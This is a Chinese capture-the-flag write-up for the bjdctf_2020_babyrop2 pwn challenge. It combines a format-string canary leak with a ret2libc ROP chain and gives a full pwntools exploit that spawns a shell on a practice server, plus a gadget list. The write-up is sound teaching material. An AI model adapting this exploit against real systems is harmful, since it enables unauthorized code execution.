bjdctf_2020_babyrop2 wp


本题64位开启nx和canary保护
strings里面并未找到system或者/bin/sh等等,而加上init函数中的提示

可以从ret2libc方向入手,而gift函数中存在格式化字符串漏洞,可以利用这一点将canary打印出来

首先确定canary距离buf位置为0x20-0x8=0x18 #padding
canary值也在rbp-8

于是pwndbg里面在printf处下断点,使用pwngdb自带fmtarg测算偏移量

接着获取canary值;
由于题目未给出libc版本,所以需要连接远端获取
可以使用puts来打印leak_addr
这是read函数
取末三位放入libc database寻找

之后在glibc-all-in-one中寻找对应版本ld.so文件,再利用patchelf更换(可以省略)
剩下的就是基本ret2libc操作了
exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./bjdctf_2020_babyrop2")
elf=ELF("./bjdctf_2020_babyrop2")
libc=ELF("./libc-2.23.so")
io=remote("node4.buuoj.cn",26687)

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
read_got=elf.got[b"read"]
pop_rdi_ret=0x400993


payload=b"%7$p"
io.recvuntil(b"u!\n")
io.sendline(payload)
canary=int(io.recv(18),16)
print("canary  "+hex(canary))

payload=cyclic(0x18)+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(elf.sym[b"_start"])
io.recvuntil(b"!\n")
io.sendline(payload)
leak_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
print("leak_addr  "+hex(leak_addr))
base_addr=leak_addr-libc.sym[b"puts"]

sys_addr=base_addr+libc.sym[b"system"]
bin_addr=base_addr+next(libc.search(b"/bin/sh"))

payload=cyclic(0x18)+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_addr)
io.recvuntil(b"u!\n")
io.sendline(b"aa")
io.recvuntil(b"!\n")
io.sendline(payload)
io.interactive()

# Gadgets information
# ============================================================
# 0x0000000000400763 : mov byte ptr [rip + 0x20091e], 1 ; ret
# 0x000000000040098c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040098e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400990 : pop r14 ; pop r15 ; ret
# 0x0000000000400992 : pop r15 ; ret
# 0x0000000000400762 : pop rbp ; mov byte ptr [rip + 0x20091e], 1 ; ret
# 0x000000000040098b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040098f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400700 : pop rbp ; ret
# 0x0000000000400993 : pop rdi ; ret
# 0x0000000000400991 : pop rsi ; pop r15 ; ret
# 0x000000000040098d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004005f9 : ret

# Unique gadgets found: 13